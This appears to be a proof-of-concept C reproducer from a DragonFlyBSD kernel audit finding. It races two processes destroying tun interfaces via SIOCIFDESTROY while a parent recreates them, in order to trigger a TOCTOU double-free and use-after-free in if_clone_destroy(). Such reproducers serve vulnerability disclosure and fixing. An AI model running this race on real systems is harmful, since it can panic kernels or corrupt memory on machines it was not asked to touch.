⬢ DragonFlyBSD Kernel Audit
DF-3414 / race_clone.c
← back to finding ↓ download raw
/*
 * DF-3414 -- if_clone_destroy() lookup/act TOCTOU.
 *
 * sys/net/if_clone.c:104-135:
 *	ifnet_lock();
 *	ifp = ifunit(name);		<-- lookup under lock
 *	ifnet_unlock();			<-- lock RELEASED
 *	... (if_clone_lookup, minifs checks) ...
 *	ifnet_lock();
 *	if_clone_free_unit(ifc, unit);	<-- acts on the stale ifp
 *	error = ifc->ifc_destroy(ifp);
 *	ifnet_unlock();
 *
 * Two concurrent destroyers of the same unit both pass the lookup
 * before either finishes teardown; the second one double-clears the
 * clone bitmap -> KKASSERT "if_clone_free_unit: bit is already
 * cleared" fires on INVARIANTS kernels (this guest), and on production
 * kernels it proceeds to ifc->ifc_destroy() on an already-freed ifnet
 * (use-after-free).
 *
 * This reproducer keeps the tun cdev side OUT of the picture: units are
 * created with SIOCIFCREATE and destroyed with SIOCIFDESTROY only, so
 * the only race is destroyer-vs-destroyer inside if_clone_destroy().
 *
 * Build: cc -O2 -o race_clone race_clone.c    Run as root: ./race_clone <sec>
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <signal.h>
#include <unistd.h>

static int rtsock;

static int
ifop(const char *name, unsigned long op)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(rtsock, op, &ifr);
}

int
main(int argc, char **argv)
{
	long seconds = argc > 1 ? atol(argv[1]) : 60;
	time_t end = time(NULL) + seconds;
	pid_t d1, d2;
	long creates = 0, destroys = 0;

	if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); }
	rtsock = socket(AF_ROUTE, SOCK_RAW, 0);
	if (rtsock < 0) { perror("route socket"); return (1); }

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("racing two SIOCIFDESTROY destroyers on tun0..tun15 for %lds "
	    "(creator keeps units alive)\n", seconds);

	d1 = fork();
	if (d1 == 0) {			/* destroyer 1 */
		for (;;) {
			int u;
			for (u = 0; u <= 15; u++) {
				char n[16];
				snprintf(n, sizeof(n), "tun%d", u);
				if (ifop(n, SIOCIFDESTROY) == 0) { /* counted by parent proxy */ }
			}
		}
		_exit(0);
	}
	d2 = fork();
	if (d2 == 0) {			/* destroyer 2 */
		for (;;) {
			int u;
			for (u = 15; u >= 0; u--) {
				char n[16];
				snprintf(n, sizeof(n), "tun%d", u);
				ifop(n, SIOCIFDESTROY);
			}
		}
		_exit(0);
	}
	/* parent: creator -- keep recreating units so destroyers always
	 * have a live target to race on */
	while (time(NULL) < end) {
		int u;
		for (u = 0; u <= 15; u++) {
			char n[16];
			snprintf(n, sizeof(n), "tun%d", u);
			if (ifop(n, SIOCIFCREATE) == 0)
				creates++;
		}
		usleep(2000);
	}
	kill(d1, SIGKILL); kill(d2, SIGKILL);
	wait(NULL); wait(NULL);
	printf("creator made %ld units; racing done (no panic = race not hit)\n",
	    creates);
	return (0);
}